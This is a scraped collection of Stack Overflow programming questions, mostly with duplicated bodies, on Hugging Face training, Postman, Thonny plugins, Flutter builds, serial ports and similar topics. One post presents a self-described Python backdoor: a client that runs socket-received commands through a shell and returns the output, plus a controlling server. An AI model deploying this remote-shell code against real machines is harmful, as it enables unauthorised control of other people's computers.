问:
How to ensure that the best model is being pushed to Hugging Face Hub when using `load_best_model_at_end=True` in the Trainer API?
I am fine-tuning a BERT model from Hugging Face on a token classification task.

Here are my training arguments:

args = TrainingArguments(
    output_dir="bert-finetuned-ner",
    evaluation_strategy="epoch",
    save_strategy="epoch",
    save_total_limit=5,
    metric_for_best_model="f1", # load model with highest F1 score
    greater_is_better=True, # load model with highest F1 score
    load_best_model_at_end=True, # load model with highest F1 score
    learning_rate=2e-5,
    num_train_epochs=50, # train for 50 epochs max; using EarlyStoppingCallback in the Trainer
    weight_decay=0.01,
    logging_steps=10,
    logging_strategy="epoch",
    push_to_hub=True
)
```
<p>And my <code>Trainer</code> class:</p>
<pre class="lang-py prettyprint-override"><code>trainer = Trainer(
    model=model,
    args=args,
    train_dataset=tokenized_datasets["train"],
    eval_dataset=tokenized_datasets["test"],
    data_collator=data_collator,
    compute_metrics=compute_metrics,
    tokenizer=tokenizer,
    callbacks=[EarlyStoppingCallback(early_stopping_patience=3)],
)
</code>```

Finally, I train the model and push it to the Hugging Face Hub:

trainer.train()

trainer.push_to_hub()
```

The model trains for 10 epochs and then stops due to the EarlyStoppingCallback. The model has the best F1 score on epoch 7. Nonetheless, the auto-generated model card on Hugging Face Hub is specifying the metrics on epoch 10 (i.e. the last epoch) - which obviously have a worse F1 score than on epoch 7.

This causes confusion because I am not sure if the model checkpoints that were pushed to the Hub are the checkpoints from epoch 7, or the checkpoints from epoch 10. Since I specified load_best_model_at_end=True in my TrainingArguments, I expected the model card to show the metrics from epoch 7.

Is there a way to figure out whether the model that was pushed to the Hub is the one with the best metrics (7th epoch) or the one from the 10th epoch?

I tried reading the HF Transformers and Hub documentation, but I didn't find anything related to this issue.

Body:
I am fine-tuning a BERT model from Hugging Face on a token classification task.

Here are my training arguments:

args = TrainingArguments(
    output_dir="bert-finetuned-ner",
    evaluation_strategy="epoch",
    save_strategy="epoch",
    save_total_limit=5,
    metric_for_best_model="f1", # load model with highest F1 score
    greater_is_better=True, # load model with highest F1 score
    load_best_model_at_end=True, # load model with highest F1 score
    learning_rate=2e-5,
    num_train_epochs=50, # train for 50 epochs max; using EarlyStoppingCallback in the Trainer
    weight_decay=0.01,
    logging_steps=10,
    logging_strategy="epoch",
    push_to_hub=True
)

And my Trainer class:

trainer = Trainer(
    model=model,
    args=args,
    train_dataset=tokenized_datasets["train"],
    eval_dataset=tokenized_datasets["test"],
    data_collator=data_collator,
    compute_metrics=compute_metrics,
    tokenizer=tokenizer,
    callbacks=[EarlyStoppingCallback(early_stopping_patience=3)],
)

Finally, I train the model and push it to the Hugging Face Hub:

trainer.train()

trainer.push_to_hub()

The model trains for 10 epochs and then stops due to the EarlyStoppingCallback. The model has the best F1 score on epoch 7. Nonetheless, the auto-generated model card on Hugging Face Hub is specifying the metrics on epoch 10 (i.e. the last epoch) - which obviously have a worse F1 score than on epoch 7.

This causes confusion because I am not sure if the model checkpoints that were pushed to the Hub are the checkpoints from epoch 7, or the checkpoints from epoch 10. Since I specified load_best_model_at_end=True in my TrainingArguments, I expected the model card to show the metrics from epoch 7.

Is there a way to figure out whether the model that was pushed to the Hub is the one with the best metrics (7th epoch) or the one from the 10th epoch?

I tried reading the HF Transformers and Hub documentation, but I didn't find anything related to this issue.


来源: stackexchange

问:
create a postman workflow with pm.sendRequest by req name not working
here i am writing a test script after getting user details from get request if the user exist
i am trying to delete it
i already have a delete request named "deleteUser" with url:http://localhost:8000/delete/user
but pm.sendRequest("delete user") is treating as http://deleteUser instead of http://localhost:8000/delete/user
here is my script for get user request

```<code>pm.test('api workflows',()=>{
    let data=pm.response.json();
    if(data.user){
        pm.sendRequest('deleteUser')
    }
</code>```
```<code> pm.sendRequest('http://localhost:8000/delete/user');
</code>```

works perfectly fine but i want to access by req name i have defined can it be done
like the deprecated version postman.sendNextRequest('request name');
or do i have to set env varaible with respective url to call next request by request name

ContentLicense: CC BY-SA 4.0

Body:
here i am writing a test script after getting user details from get request if the user exist
i am trying to delete it
i already have a delete request named "deleteUser" with url:http://localhost:8000/delete/user
but pm.sendRequest("delete user") is treating as http://deleteUser instead of http://localhost:8000/delete/user
here is my script for get user request

pm.test('api workflows',()=>{
    let data=pm.response.json();
    if(data.user){
        pm.sendRequest('deleteUser')
    }

 pm.sendRequest('http://localhost:8000/delete/user');

works perfectly fine but i want to access by req name i have defined can it be done
like the deprecated version postman.sendNextRequest('request name');
or do i have to set env varaible with respective url to call next request by request name


问:
Error while loading a remote file via the _load_file( ) method - Thonny IDE Plugin
I am trying to load a remote .py file in Thonny editor but I get the following error:

```<code>File "/Applications/Thonny.app/Contents/Frameworks/Python.framework/Versions/3.7/lib/python3.7/site-packages/thonny/editors.py", line 193, in _load_local_file
    with open(filename, "rb") as fp:
FileNotFoundError: [Errno 2] No such file or directory: 'https://raw.githubusercontent.com/thonny/thonny/3eaa0319a9722bcdac12b4401b0a69b47d2e9f00/thonny/first_run.py'
</code>```

The file I am just using for testing purposes is the:
https://github.com/thonny/thonny/blob/3eaa0319a9722bcdac12b4401b0a69b47d2e9f00/thonny/first_run.py

Any ideas why self.editor._load_file( ... ) does not understands that this is a remote file?

Here is my __init__.py of my plugin:

```<code>class Exercise:
    """
    Fetch exercise to the current loaded file.

    Description
    """

    def __init__(self) -> None:
        """Get the workbench to fetch and copy the fetched content to editor, later."""
        self.workbench = get_workbench()

    def load_exercise(self) -> None:
        """Handle the plugin execution."""
        self.editor = self.workbench.get_editor_notebook().get_current_editor()

        self.filename = self.editor.get_filename()
        if self.filename is not None and self.filename[-3:] == ".py":
            self.editor.save_file()

            # self.filename = "/Users/limitcracker/Documents/Projects/ThonnyPlugin/test.py"
            self.filename = "https://raw.githubusercontent.com/thonny/thonny/3eaa0319a9722bcdac12b4401b0a69b47d2e9f00/thonny/first_run.py"
            self.editor._load_file(self.filename, keep_undo=True)

        showinfo(title="Exercise Loader", message="OK")

    def load_plugin(self) -> None:
        """
        Load the plugin on runtime.

        Using self.workbench.add_command(), the plugin is registered in Thonny
        with all the given arguments.
        """
        self.workbench.add_command(
            command_id="load_exercise",
            menu_name="tools",
            command_label="Load Exercise",
            handler=self.load_exercise,
            default_sequence="<Control-Alt-c>",
            extra_sequences=["<<CtrlAltCInText>>"],
        )

if get_workbench() is not None:
    run = Exercise().load_plugin()
</code>```

Body:
I am trying to load a remote .py file in Thonny editor but I get the following error:

File "/Applications/Thonny.app/Contents/Frameworks/Python.framework/Versions/3.7/lib/python3.7/site-packages/thonny/editors.py", line 193, in _load_local_file
    with open(filename, "rb") as fp:
FileNotFoundError: [Errno 2] No such file or directory: 'https://raw.githubusercontent.com/thonny/thonny/3eaa0319a9722bcdac12b4401b0a69b47d2e9f00/thonny/first_run.py'

The file I am just using for testing purposes is the:
https://github.com/thonny/thonny/blob/3eaa0319a9722bcdac12b4401b0a69b47d2e9f00/thonny/first_run.py

Any ideas why self.editor._load_file( ... ) does not understands that this is a remote file?

Here is my __init__.py of my plugin:

class Exercise:
    """
    Fetch exercise to the current loaded file.

    Description
    """

    def __init__(self) -> None:
        """Get the workbench to fetch and copy the fetched content to editor, later."""
        self.workbench = get_workbench()

    def load_exercise(self) -> None:
        """Handle the plugin execution."""
        self.editor = self.workbench.get_editor_notebook().get_current_editor()

        self.filename = self.editor.get_filename()
        if self.filename is not None and self.filename[-3:] == ".py":
            self.editor.save_file()

            # self.filename = "/Users/limitcracker/Documents/Projects/ThonnyPlugin/test.py"
            self.filename = "https://raw.githubusercontent.com/thonny/thonny/3eaa0319a9722bcdac12b4401b0a69b47d2e9f00/thonny/first_run.py"
            self.editor._load_file(self.filename, keep_undo=True)

        showinfo(title="Exercise Loader", message="OK")

    def load_plugin(self) -> None:
        """
        Load the plugin on runtime.

        Using self.workbench.add_command(), the plugin is registered in Thonny
        with all the given arguments.
        """
        self.workbench.add_command(
            command_id="load_exercise",
            menu_name="tools",
            command_label="Load Exercise",
            handler=self.load_exercise,
            default_sequence="<Control-Alt-c>",
            extra_sequences=["<<CtrlAltCInText>>"],
        )

if get_workbench() is not None:
    run = Exercise().load_plugin()


问:
Fullcalendar not working after replacing mix with vite in Laravel
I removed mix and and added vite to my Laravel 9 project. The only issue I'm facing is that Fullcalendar is no longer working.

resources/js/app.js

```<code>import { Calendar } from "@fullcalendar/core";
import dayGridPlugin from "@fullcalendar/daygrid";
import timeGridPlugin from "@fullcalendar/timegrid";
import listPlugin from "@fullcalendar/list";
import interaction from "@fullcalendar/interaction";
import rrulePlugin from "@fullcalendar/rrule";
import deLocale from "@fullcalendar/core/locales/de";

window.Calendar = Calendar;
window.dayGridPlugin = dayGridPlugin;
window.timeGridPlugin = timeGridPlugin;
window.listPlugin = listPlugin;
window.deLocale = deLocale;
window.interaction = interaction;
</code>```

resources/views/test.blade.php

@push('scripts')

@endpush
```
<p>I get:</p>
```Uncaught Error: Please import the top-level fullcalendar lib before attempting to import a plugin.
```
<p>and</p>
```Uncaught ReferenceError: Calendar is not defined
```

All my npm and composer dependencies are latest.

Body:
I removed mix and and added vite to my Laravel 9 project. The only issue I'm facing is that Fullcalendar is no longer working.

resources/js/app.js

import { Calendar } from "@fullcalendar/core";
import dayGridPlugin from "@fullcalendar/daygrid";
import timeGridPlugin from "@fullcalendar/timegrid";
import listPlugin from "@fullcalendar/list";
import interaction from "@fullcalendar/interaction";
import rrulePlugin from "@fullcalendar/rrule";
import deLocale from "@fullcalendar/core/locales/de";

window.Calendar = Calendar;
window.dayGridPlugin = dayGridPlugin;
window.timeGridPlugin = timeGridPlugin;
window.listPlugin = listPlugin;
window.deLocale = deLocale;
window.interaction = interaction;

resources/views/test.blade.php

@push('scripts')

@endpush

I get:

Uncaught Error: Please import the top-level fullcalendar lib before attempting to import a plugin.

and

Uncaught ReferenceError: Calendar is not defined

All my npm and composer dependencies are latest.


问:
Detailed explanation on how to implement user sessions?
I am building an application that will have a browser client, as well as Android and iOS native apps. Currently, I am using JWT access tokens and UUID refresh tokens for authorization in my server. However, I am considering using persistent cookies instead. I have a few questions about using cookies in this context:

Do I need to set "persistent" cookies, or is this done by setting the expiration?

Are session cookies deleted when the browser tab is closed?

How do I sign the cookies? Can I use JWTs for this purpose?

Do native clients support cookies in the same way that browsers do?

Is the "stateless" nature of my authorization server worth the complexity of using JWT access tokens and UUID refresh tokens, or would it be more beneficial to use persistent cookies?

I am not very familiar with how sessions are managed in modern applications, so any guidance on this would be greatly appreciated.

After implementing my current solution, I'm thinking that this adds a lot of complexity to the client. The client needs to be aware of the refresh-token rotation. Ideally I'd like the client to be "stupid", in the sense that it isn't concerned with session management at all.

Is that wrong-thinking?


问:
Running python server on phone to gain access to my pc
I have these 2 script for a backdoor, one of them is for the client the other one for a server, both in python. When I try to run the server script to give commands to my pc that is running the client script, qpython gives me the following error " [Errno] Address already in use ".

I tried running a vpn to mask my ip on the phone and disconnected from my router(don't know if this affects it ), still doesn't work.

code client:

```<code>import socket
import subprocess

REMOTE_HOST = '127.0.0.1'
REMOTE_PORT =  8081
client = socket.socket()
print("[-] Connection Initiating...")
client.connect((REMOTE_HOST, REMOTE_PORT))
print("[-] Connection initiated!")

while True:
    print("[-] Awaiting commands...")
    command = client.recv(1024)
    command = command.decode()
    op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
    output = op.stdout.read()
    output_error = op.stderr.read()
    print("[-] Sending response...")
    client.send(output + output_error)
</code>```

server code:

```<code>import socket

HOST = '127.0.0.1'
PORT = 8081 # 2222
server = socket.socket()
server.bind((HOST, PORT))
print('[+] Server Started')
print('[+] Listening For Client Connection ...')
server.listen(1)
client, client_addr = server.accept()
print(f'[+] {client_addr} Client connected to the server')

while True:
    command = input('Enter Command : ')
    command = command.encode()
    client.send(command)
    print('[+] Command sent')
    output = client.recv(1024)
    output = output.decode()
    print(f"Output: {output}")
</code>```

I am sorry if I made some stupid mistake as I am quite new to pyhton and this whole server thing.

Body:
I have these 2 script for a backdoor, one of them is for the client the other one for a server, both in python. When I try to run the server script to give commands to my pc that is running the client script, qpython gives me the following error " [Errno] Address already in use ".

I tried running a vpn to mask my ip on the phone and disconnected from my router(don't know if this affects it ), still doesn't work.

code client:

import socket
import subprocess

REMOTE_HOST = '127.0.0.1'
REMOTE_PORT =  8081
client = socket.socket()
print("[-] Connection Initiating...")
client.connect((REMOTE_HOST, REMOTE_PORT))
print("[-] Connection initiated!")

while True:
    print("[-] Awaiting commands...")
    command = client.recv(1024)
    command = command.decode()
    op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
    output = op.stdout.read()
    output_error = op.stderr.read()
    print("[-] Sending response...")
    client.send(output + output_error)

server code:

import socket

HOST = '127.0.0.1'
PORT = 8081 # 2222
server = socket.socket()
server.bind((HOST, PORT))
print('[+] Server Started')
print('[+] Listening For Client Connection ...')
server.listen(1)
client, client_addr = server.accept()
print(f'[+] {client_addr} Client connected to the server')

while True:
    command = input('Enter Command : ')
    command = command.encode()
    client.send(command)
    print('[+] Command sent')
    output = client.recv(1024)
    output = output.decode()
    print(f"Output: {output}")

I am sorry if I made some stupid mistake as I am quite new to pyhton and this whole server thing.


问:
Flutter Error:: Could not find method buildTypes() for arguments
I wanted to build apk flutter app for test in phone by Android Studio. I already have flutter app. I tried a build APK. I did this way:

I clicked Build > Flutter > Build APK in Android Studio.

results:

```<code>C:\SRC\flutter\bin\flutter.bat --no-color build apk

 Building with sound null safety

Running Gradle task 'assembleRelease'...

FAILURE: Build failed with an exception.

* Where:
Build file 'C:\Users\Can Ahmet\StudioProjects\myapp\myapp\android\app\build.gradle' line: 73

* What went wrong:
A problem occurred evaluating project ':app'.
> Could not find method buildTypes() for arguments [build_72oyoy28ktxj66hn01bbfxy4$_run_closure5@613623d3] on project ':app' of type org.gradle.api.Project.

* Try:
> Run with --stacktrace option to get the stack trace.
> Run with --info or --debug option to get more log output.
> Run with --scan to get full insights.

* Get more help at https://help.gradle.org

BU�LD FAILED in 11s
Gradle task assembleRelease failed with exit code 1
Running Gradle task 'assembleRelease'...                           18,0s
Process finished with exit code 1
</code>```

My build.gradle :

```<code>buildscript {
    ext.kotlin_version = '1.6.21'
    repositories {
        google()
        mavenCentral()
    }

    dependencies {
        classpath 'com.android.tools.build:gradle:7.0.4'
        classpath "org.jetbrains.kotlin:kotlin-gradle-plugin:$kotlin_version"
    }
}

allprojects {
    repositories {
        google()
        mavenCentral()
    }
}

rootProject.buildDir = '../build'
subprojects {
    project.buildDir = "${rootProject.buildDir}/${project.name}"
}
subprojects {
    project.evaluationDependsOn(':app')
}

task clean(type: Delete) {
    delete rootProject.buildDir
}
</code>```

my app / build.gradle :

```<code>def localProperties = new Properties()
def localPropertiesFile = rootProject.file('local.properties')
if (localPropertiesFile.exists()) {
    localPropertiesFile.withReader('UTF-8') { reader ->
        localProperties.load(reader)
    }
}

def flutterRoot = localProperties.getProperty('flutter.sdk')
if (flutterRoot == null) {
    throw new GradleException("Flutter SDK not found. Define location with flutter.sdk in the local.properties file.")
}

def flutterVersionCode = localProperties.getProperty('flutter.versionCode')
if (flutterVersionCode == null) {
    flutterVersionCode = '1'
}

def flutterVersionName = localProperties.getProperty('flutter.versionName')
if (flutterVersionName == null) {
    flutterVersionName = '1.0'
}

apply plugin: 'com.android.application'
apply plugin: 'kotlin-android'
apply from: "$flutterRoot/packages/flutter_tools/gradle/flutter.gradle"

android {
    compileSdkVersion flutter.compileSdkVersion
    ndkVersion flutter.ndkVersion

    compileOptions {
        sourceCompatibility JavaVersion.VERSION_1_8
        targetCompatibility JavaVersion.VERSION_1_8
    }

    kotlinOptions {
        jvmTarget = '1.8'
    }

    sourceSets {
        main.java.srcDirs += 'src/main/kotlin'
    }

    defaultConfig {
        // TODO: Specify your own unique Application ID (https://developer.android.com/studio/build/application-id.html).
        applicationId "com.example.myapp"
        // You can update the following values to match your application needs.
        // For more information, see: https://docs.flutter.dev/deployment/android#reviewing-the-build-configuration.
        minSdkVersion flutter.minSdkVersion
        targetSdkVersion flutter.targetSdkVersion
        versionCode flutterVersionCode.toInteger()
        versionName flutterVersionName

    }

    buildTypes {
        release {
            // TODO: Add your own signing config for the release build.
            // Signing with the debug keys for now, so `flutter run --release` works.
            signingConfig signingConfigs.debug
        }
    }
}

flutter {
    source '../..'
}

dependencies {
    implementation "org.jetbrains.kotlin:kotlin-stdlib-jdk7:$kotlin_version"
}
</code>```

I controlled place of the buildTypes. But i guess it's right. Its in android{}.

How can i solve this?

Body:
I wanted to build apk flutter app for test in phone by Android Studio. I already have flutter app. I tried a build APK. I did this way:

I clicked Build > Flutter > Build APK in Android Studio.

results:

C:\SRC\flutter\bin\flutter.bat --no-color build apk

 Building with sound null safety

Running Gradle task 'assembleRelease'...

FAILURE: Build failed with an exception.

* Where:
Build file 'C:\Users\Can Ahmet\StudioProjects\myapp\myapp\android\app\build.gradle' line: 73

* What went wrong:
A problem occurred evaluating project ':app'.
> Could not find method buildTypes() for arguments [build_72oyoy28ktxj66hn01bbfxy4$_run_closure5@613623d3] on project ':app' of type org.gradle.api.Project.

* Try:
> Run with --stacktrace option to get the stack trace.
> Run with --info or --debug option to get more log output.
> Run with --scan to get full insights.

* Get more help at https://help.gradle.org

BU�LD FAILED in 11s
Gradle task assembleRelease failed with exit code 1
Running Gradle task 'assembleRelease'...                           18,0s
Process finished with exit code 1

My build.gradle :

buildscript {
    ext.kotlin_version = '1.6.21'
    repositories {
        google()
        mavenCentral()
    }

    dependencies {
        classpath 'com.android.tools.build:gradle:7.0.4'
        classpath "org.jetbrains.kotlin:kotlin-gradle-plugin:$kotlin_version"
    }
}

allprojects {
    repositories {
        google()
        mavenCentral()
    }
}

rootProject.buildDir = '../build'
subprojects {
    project.buildDir = "${rootProject.buildDir}/${project.name}"
}
subprojects {
    project.evaluationDependsOn(':app')
}

task clean(type: Delete) {
    delete rootProject.buildDir
}

my app / build.gradle :

def localProperties = new Properties()
def localPropertiesFile = rootProject.file('local.properties')
if (localPropertiesFile.exists()) {
    localPropertiesFile.withReader('UTF-8') { reader ->
        localProperties.load(reader)
    }
}

def flutterRoot = localProperties.getProperty('flutter.sdk')
if (flutterRoot == null) {
    throw new GradleException("Flutter SDK not found. Define location with flutter.sdk in the local.properties file.")
}

def flutterVersionCode = localProperties.getProperty('flutter.versionCode')
if (flutterVersionCode == null) {
    flutterVersionCode = '1'
}

def flutterVersionName = localProperties.getProperty('flutter.versionName')
if (flutterVersionName == null) {
    flutterVersionName = '1.0'
}

apply plugin: 'com.android.application'
apply plugin: 'kotlin-android'
apply from: "$flutterRoot/packages/flutter_tools/gradle/flutter.gradle"

android {
    compileSdkVersion flutter.compileSdkVersion
    ndkVersion flutter.ndkVersion

    compileOptions {
        sourceCompatibility JavaVersion.VERSION_1_8
        targetCompatibility JavaVersion.VERSION_1_8
    }

    kotlinOptions {
        jvmTarget = '1.8'
    }

    sourceSets {
        main.java.srcDirs += 'src/main/kotlin'
    }

    defaultConfig {
        // TODO: Specify your own unique Application ID (https://developer.android.com/studio/build/application-id.html).
        applicationId "com.example.myapp"
        // You can update the following values to match your application needs.
        // For more information, see: https://docs.flutter.dev/deployment/android#reviewing-the-build-configuration.
        minSdkVersion flutter.minSdkVersion
        targetSdkVersion flutter.targetSdkVersion
        versionCode flutterVersionCode.toInteger()
        versionName flutterVersionName

    }

    buildTypes {
        release {
            // TODO: Add your own signing config for the release build.
            // Signing with the debug keys for now, so `flutter run --release` works.
            signingConfig signingConfigs.debug
        }
    }
}

flutter {
    source '../..'
}

dependencies {
    implementation "org.jetbrains.kotlin:kotlin-stdlib-jdk7:$kotlin_version"
}

I controlled place of the buildTypes. But i guess it's right. Its in android{}.

How can i solve this?


问:
Icons not loading for chrome extension
I'm trying to build a chrome extension.
I have created an images folder in the root directory of the extension, and included the icon file names in the manifest.json
When I load the extension in Chrome Dev, the icon doesn't show up. A default icon is used (letter B) and the blue puzzle piece is used in the toolbar button.
Am I doing something wrong?

manifest.json

```<code>{
  "name": "Blah",
  "version": "0.0.0.1",
  "description": "blah",
  "manifest_version": 3,
  "action": {
    "default_popup": "popup.html",
    "default_icon": {
      "16": "images/icon16.png",
      "48": "images/icon48.png",
      "128": "images/icon128.png"
    },
    "default_title": "Ratio"
  },
  "icons": {
    "16": "images/icon16.png",
    "48": "images/icon48.png",
    "128": "images/icon128.png"
  }
}
</code>```

Title: Icons not loading for chrome extension

Body:
I'm trying to build a chrome extension.
I have created an images folder in the root directory of the extension, and included the icon file names in the manifest.json
When I load the extension in Chrome Dev, the icon doesn't show up. A default icon is used (letter B) and the blue puzzle piece is used in the toolbar button.
Am I doing something wrong?

manifest.json

{
  "name": "Blah",
  "version": "0.0.0.1",
  "description": "blah",
  "manifest_version": 3,
  "action": {
    "default_popup": "popup.html",
    "default_icon": {
      "16": "images/icon16.png",
      "48": "images/icon48.png",
      "128": "images/icon128.png"
    },
    "default_title": "Ratio"
  },
  "icons": {
    "16": "images/icon16.png",
    "48": "images/icon48.png",
    "128": "images/icon128.png"
  }
}


问:
Serialport from express returning promise
I'm new to nodejs and trying to create a program to get info from a serial port to a webpage. The problem is that I'm using request from a webpage to write to the serial and it's outside the promise.

I still didn't figured out how to use this, because I have to found out what is the serial port first.

```<code>const { SerialPort } = require('serialport')

var express = require('express'),
    app = express(),
    server = require('http').Server(app),
    io = require('socket.io')(server),
    port = 3000;

const comPort = SerialPort.list().then(ports => {
    let portfound
    ports.forEach(function(port) {
        if (port.productId == '1470'){
            console.log("Found on port", port.path);
            return port.path
        } else {
            console.log("Not connected, verify connection.");
        }
    })
})

const serial = new SerialPort({
    path: comPort,
    baudRate: 9600,
    autoOpen: false,
    }, function (err) {
        if (err) {
            console.log('Error: ', err.message);
        }
})

serial.open(function (err) {
    if (err) {
        return console.log('Error opening port: ', err.message)
    }

});

app.get("/reset", (req,res)=>{
    serial.write("reset");
    res.json( {'reset': true} );
})

server.listen(port, () => {
    console.log('Webpage on port ' + port);
})
</code>```

It returns the error:
Promise { <pending> } Webpage on port 3000 Error opening port:  First argument must be a string Not connected, verify connection.

How can I receive the promise on each part to pass on the end to app.get("/reset").
If I join the new SerialPort inside SerialPort.list() it works, connects to the the serial port. but how can it returns the serial var to app.get("/reset").
Thanks

```<code>const { SerialPort } = require('serialport')

var express = require('express'),
    app = express(),
    server = require('http').Server(app),
    io = require('socket.io')(server),
    port = 3000;

const serial = SerialPort.list().then(ports => {
        //console.log(ports)
        ports.forEach(function(port) {
            if (port.productId == '1470'){
                console.log("Found on port", port.path);
                comPort = port.path;
            } else {
                console.log("not connected, verify connection.");
                return isSerialPortConnected;
            }
        });

        return new SerialPort({
            path: comPort,
            baudRate: 9600,
            autoOpen: false,
            }, function (err) {
                if (err) {
                    console.log('Error: ', err.message);
                }
        })
    })

app.get("/reset", (req,res)=>{
    serial.write("reset");
    res.json( {'reset': true} );
})

server.listen(port, () => {
    console.log('Webpage on port ' + port);
})
</code>```

Error:

```<code>Webpage on port 3000
Found port COM4
TypeError: serial.write is not a function
    at D:\temp\Serial\test\teste.js:37:12
    at Layer.handle [as handle_request] (D:\temp\Serial\test\node_modules\express\lib\router\layer.js:95:5)
    at next (D:\temp\Serial\test\node_modules\express\lib\router\route.js:144:13)
    at Route.dispatch (D:\temp\Serial\test\node_modules\express\lib\router\route.js:114:3)
    at Layer.handle [as handle_request] (D:\temp\Serial\test\node_modules\express\lib\router\layer.js:95:5)
    at D:\temp\Serial\test\node_modules\express\lib\router\index.js:284:15
    at Function.process_params (D:\temp\Serial\test\node_modules\express\lib\router\index.js:346:12)
    at next (D:\temp\Serial\test\node_modules\express\lib\router\index.js:280:10)
    at expressInit (D:\temp\Serial\test\node_modules\express\lib\middleware\init.js:40:5)
    at Layer.handle [as handle_request] (D:\temp\Serial\test\node_modules\express\lib\router\layer.js:95:5)
</code>```

Body:
I'm new to nodejs and trying to create a program to get info from a serial port to a webpage. The problem is that I'm using request from a webpage to write to the serial and it's outside the promise.

I still didn't figured out how to use this, because I have to found out what is the serial port first.

const { SerialPort } = require('serialport')

var express = require('express'),
    app = express(),
    server = require('http').Server(app),
    io = require('socket.io')(server),
    port = 3000;

const comPort = SerialPort.list().then(ports => {
    let portfound
    ports.forEach(function(port) {
        if (port.productId == '1470'){
            console.log("Found on port", port.path);
            return port.path
        } else {
            console.log("Not connected, verify connection.");
        }
    })
})

const serial = new SerialPort({
    path: comPort,
    baudRate: 9600,
    autoOpen: false,
    }, function (err) {
        if (err) {
            console.log('Error: ', err.message);
        }
})

serial.open(function (err) {
    if (err) {
        return console.log('Error opening port: ', err.message)
    }

});

app.get("/reset", (req,res)=>{
    serial.write("reset");
    res.json( {'reset': true} );
})

server.listen(port, () => {
    console.log('Webpage on port ' + port);
})

It returns the error:
Promise { <pending> } Webpage on port 3000 Error opening port:  First argument must be a string Not connected, verify connection.

How can I receive the promise on each part to pass on the end to app.get("/reset").
If I join the new SerialPort inside SerialPort.list() it works, connects to the the serial port. but how can it returns the serial var to app.get("/reset").
Thanks

const { SerialPort } = require('serialport')

var express = require('express'),
    app = express(),
    server = require('http').Server(app),
    io = require('socket.io')(server),
    port = 3000;

const serial = SerialPort.list().then(ports => {
        //console.log(ports)
        ports.forEach(function(port) {
            if (port.productId == '1470'){
                console.log("Found on port", port.path);
                comPort = port.path;
            } else {
                console.log("not connected, verify connection.");
                return isSerialPortConnected;
            }
        });

        return new SerialPort({
            path: comPort,
            baudRate: 9600,
            autoOpen: false,
            }, function (err) {
                if (err) {
                    console.log('Error: ', err.message);
                }
        })
    })

app.get("/reset", (req,res)=>{
    serial.write("reset");
    res.json( {'reset': true} );
})

server.listen(port, () => {
    console.log('Webpage on port ' + port);
})

Error:

Webpage on port 3000
Found port COM4
TypeError: serial.write is not a function
    at D:\temp\Serial\test\teste.js:37:12
    at Layer.handle [as handle_request] (D:\temp\Serial\test\node_modules\express\lib\router\layer.js:95:5)
    at next (D:\temp\Serial\test\node_modules\express\lib\router\route.js:144:13)
    at Route.dispatch (D:\temp\Serial\test\node_modules\express\lib\router\route.js:114:3)
    at Layer.handle [as handle_request] (D:\temp\Serial\test\node_modules\express\lib\router\layer.js:95:5)
    at D:\temp\Serial\test\node_modules\express\lib\router\index.js:284:15
    at Function.process_params (D:\temp\Serial\test\node_modules\express\lib\router\index.js:346:12)
    at next (D:\temp\Serial\test\node_modules\express\lib\router\index.js:280:10)
    at expressInit (D:\temp\Serial\test\node_modules\express\lib\middleware\init.js:40:5)
    at Layer.handle [as handle_request] (D:\temp\Serial\test\node_modules\express\lib\router\layer.js:95:5)


问:
JUST AUDIO ANDROID [ERROR:flutter/runtime/dart_vm_initializer.cc(41)] Unhandled Exception: PlatformException(abort, Connection aborted, null, null)
I have a problem with JUST AUDIO version 0.9.30 that only occurs in ANDROID VERSION e in release mode. When I launch an audio from file Just audio skips the file and gives this error:
[ERROR:flutter/runtime/dart_vm_initializer.cc(41)] Unhandled Exception: PlatformException(abort, Connection aborted, null, null)
Then move on to the next one
It also did this in debug mode but I added a simple
await Future.delayed(Duration(milliseconds: 10) and it fixed itself.
I see that LOADING is missing in this passage. There is BUFFERING, then it goes straight to READY and COMPLETE
Some suggestions.</p>
```<code> @override
  Future<void> playMediaItem(MediaItem mediaItem) async {

    if (isAsset) {
      if (Platform.isAndroid) {
        await Future.delayed(const Duration(milliseconds: 10));
      }
      await _player.setAsset(mediaItem.id);
    } else {
      await _player.setFilePath(mediaItem.id);
    }
    // check if alternate mode is active and set the right volume
    ref.read(audioHandlerSingelton).customAction("altMode");
    // prepare is used to send to Notification Window in the lock screen the correct data
    ref.read(audioHandlerSingelton).prepare();
  }
```

My doctor -v

 Flutter (Channel stable, 3.3.10, on macOS 12.6.1 21G217 darwin-x64, locale it-IT)
    • Flutter version 3.3.10 on channel stable at /Users/carlosacchetti/Developer/flutter
    • Upstream repository https://github.com/flutter/flutter.git
    • Framework revision 135454af32 (9 days ago), 2022-12-15 07:36:55 -0800
    • Engine revision 3316dd8728
    • Dart version 2.18.6
    • DevTools version 2.15.0

[✓] Android toolchain - develop for Android devices (Android SDK version 33.0.0)
    • Android SDK at /Users/carlosacchetti/Library/Android/sdk
    • Platform android-33, build-tools 33.0.0
    • Java binary at: /Applications/Android Studio.app/Contents/jre/Contents/Home/bin/java
    • Java version OpenJDK Runtime Environment (build 11.0.10+0-b96-7281165)
    • All Android licenses accepted.

[✓] Xcode - develop for iOS and macOS (Xcode 14.1)
    • Xcode at /Applications/Xcode.app/Contents/Developer
    • Build 14B47b
    • CocoaPods version 1.11.2

[✓] Chrome - develop for the web
    • Chrome at /Applications/Google Chrome.app/Contents/MacOS/Google Chrome

[✓] Android Studio (version 2020.3)
    • Android Studio at /Applications/Android Studio.app/Contents
    • Flutter plugin can be installed from:
       https://plugins.jetbrains.com/plugin/9212-flutter
    • Dart plugin can be installed from:
       https://plugins.jetbrains.com/plugin/6351-dart
    • Java version OpenJDK Runtime Environment (build 11.0.10+0-b96-7281165)

[✓] IntelliJ IDEA Community Edition (version 2021.1.1)
    • IntelliJ at /Applications/IntelliJ IDEA CE.app
    • Flutter plugin can be installed from:
       https://plugins.jetbrains.com/plugin/9212-flutter
    • Dart plugin can be installed from:
       https://plugins.jetbrains.com/plugin/6351-dart

[✓] VS Code (version 1.74.2)
    • VS Code at /Applications/Visual Studio Code.app/Contents
    • Flutter extension version 3.56.0

[✓] Connected device (3 available)
    • SM G780G (mobile) • RF8T30H0K2Y • android-arm64  • Android 13 (API 33)
    • macOS (desktop)   • macos       • darwin-x64     • macOS 12.6.1 21G217 darwin-x64
    • Chrome (web)      • chrome      • web-javascript • Google Chrome 108.0.5359.124

[✓] HTTP Host Availability
    • All required HTTP hosts are available

• No issues found!

Translated with www.DeepL.com/Translator (free version)
